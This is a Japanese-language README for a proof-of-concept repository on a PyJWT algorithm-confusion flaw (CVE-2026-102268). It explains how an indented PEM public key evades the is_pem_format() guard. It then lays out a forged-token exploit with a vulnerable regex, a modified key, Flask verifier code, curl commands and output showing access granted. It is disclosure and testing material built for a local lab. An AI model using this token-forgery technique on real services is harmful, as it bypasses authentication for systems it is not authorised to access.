悪用可能性分析の結果: 根本原因が確認され、エンドツーエンドの悪用が再現可能です。空白文字を改変したPEM公開鍵がPyJWTの
is_pem_format()ガードをバイパスし、有効なHMACシークレットとして受け入れられるため、RS256とHS256を同時に許可リストに登録しているあらゆる検証器に対して完全なHS256トークン偽造が可能になります。詳細は分析を参照してください。
CVE-2026-102268はPyJWTにおけるアルゴリズム混同の脆弱性です。任意の鍵をHMACシークレットとして使用する前に、HMACAlgorithm.prepare_key()はis_pem_format()を呼び出し、PEMエンコードされた非対称鍵や証明書のように見える鍵を拒否します — これはRS256/HS256混同攻撃に対する標準的な防御策です。
is_pem_format()は単一の正規表現であり、鍵本体とBEGIN/ENDマーカーの間に正確な\r?\nの隣接を要求します。cryptography自身のPEMローダーにはそのような要件はありません。マーカーに隣接する空白文字、CRのみの行終端、あるいは単一行に折り畳まれたPEMファイルは、cryptography.load_pem_public_key()によって完全に有効な鍵として解析される一方、is_pem_format()は同一のバイト列に対してFalseを返します。
その結果、非対称鍵ガードが発動せず、公開鍵がHMACシークレットとして受け入れられ、その公開鍵を保持する者 — 定義上公開されている — が、RS256とHS256の両方を許可リストに登録しているあらゆる検証器に対して有効なHS256トークンを生成できるようになります。
このリポジトリには、その主張をエンドツーエンドで確認するための最小限のFlask検証器と再現用鍵が含まれています。
| 影響範囲 | 修正済み |
|---|---|
| < 2.14.0 | 2.14.0 |
jwt/utils.pyにおける脆弱なチェック(2.14.0より前のすべてのバージョン):
# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
これをゲートとして使用しているjwt/algorithms.pyの箇所:
# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
正規表現の[- ]セパレータは、マーカーのダッシュに直接隣接する単一のダッシュまたはスペースのみを許容します。鍵本体の末尾の改行とENDマーカーの間に存在するその他の空白文字 — インデント、余分な\r、再折り返しされた単一行 — はマッチを失敗させるため、is_pem_format()はcryptographyが問題なく解析するファイルに対してFalseを報告します。
修正(コミット8b4e233、2.14.0でリリース)は、正規表現を、正確な改行の隣接に依存しない、サポートされているBEGIN/ENDマーカーセットに対するワンパススキャナに置き換えます — これによりこのバイパスが塞がれ、同じ変更で同関数内の関連するReDoSも修正されます(CVE-2026-102270)。
このリポジトリのpublic_key.pemは、通常の2048ビットRSA公開鍵に1つの変更を加えたものです: -----END PUBLIC KEY-----行が4つのスペースでインデントされています。
1wIDAQAB
-----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout # parses cleanly, no warning
utils.pyを実行すると、Flaskアプリとは独立して、ライブラリに対して直接バイパスを確認できます:
$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}
jwt.encode(..., PUBLIC_KEY, algorithm="HS256")が成功します。パッチ適用済みのPyJWT(≥ 2.14.0)では、この同じ呼び出しはInvalidKeyErrorを発生させます — is_pem_format()はインデントに関係なくファイルをPEM鍵として正しく検出し、HMACパスはそれを拒否します。ここではそうなりません: 4つのスペースのインデントだけで正規表現がマッチを見逃すのに十分であり、公開鍵のバイト列が通常のHMACシークレットとして受け入れられます。
app.pyは実世界の前提条件を再現します — algorithms許可リストが非対称アルゴリズムと対称アルゴリズムを混在させている検証器です:
decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])
utils.pyのアプローチで偽造されたトークンを/verifyに送信すると、受け入れられます: /verifyは200と偽造されたクレームを返します — 秘密鍵を保持する者が誰も署名していないトークンに対して。
cve-2026-102268-poc/
├── Dockerfile # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml # Single-service compose for the verifier
├── requirements.txt # Flask, Werkzeug, PyJWT==2.4.0
├── app.py # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem # RSA public key, END marker indented by 4 spaces
└── README.md
| ツール | バージョン | 備考 |
|---|---|---|
| Podman | ≥ 4.0 | Dockerでも動作します |
| Python | ≥ 3.9 | utils.pyをローカルで実行する場合のみ |
| curl | 任意 | /verifyを直接テストする場合 |
podman-compose up -d
数秒待ってから、サービスが起動していることを確認します:
curl -si http://localhost:8080/verify -X POST \
-H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400 (missing token, but the service is reachable)
python utils.py
これはpublic_key.pemを使用してHS256で{"some": "payload"}に署名し、結果のJWT — 偽造プリミティブ — を出力します。エンコードされたトークンをコピーします。
curl -s http://localhost:8080/verify \
-H 'Content-Type: application/json' \
-d '{"token": "<forged-jwt-here>"}'
podman-compose down
requirements.txtで固定されている2.4.0の代わりにPyJWT>=2.14.0をインストールして、ステップ2を繰り返します。jwt.encode()はトークンが生成される前にInvalidKeyErrorを発生させます。
============================================================
CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
Key : public_key.pem (RSA public key, END marker indented)
Target : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...
[2] Submitting forged token to /verify (algorithms=["RS256","HS256"])...
------------------------------------------------------------
[✓] HTTP 200 — Access granted
{"message": "Access granted", "payload": {"some": "payload"}}
is_pem_format(PUBLIC_KEY) returned False — the asymmetric-key
guard in HMACAlgorithm.prepare_key() never fired.
============================================================
| リソース | リンク |
|---|---|
| GitHub Advisory | https://github.com/advisories/GHSA-ffc3-869f-jxw9 |
| 修正コミット | https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07 |
| 関連するReDoSアドバイザリ(同じ修正) | https://github.com/advisories/GHSA-jwrc-g2q2-pq5p |
| PyJWT 2.14.0リリース | https://github.com/jpadilla/pyjwt/releases/tag/2.14.0 |
jwt/algorithms.py (main) | https://github.com/jpadilla/pyjwt/blob/master/jwt/algorithms.py |
| 完全な分析 — ブログ記事 | https://return-zero.dev/posts/cve-2026-102268 |
このリポジトリは教育目的およびローカルでの悪用可能性分析のみを意図しています。すべてのテストは自己ホスト型のコンテナ環境に対して実施されました。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対してこのPoCを実行しないでください。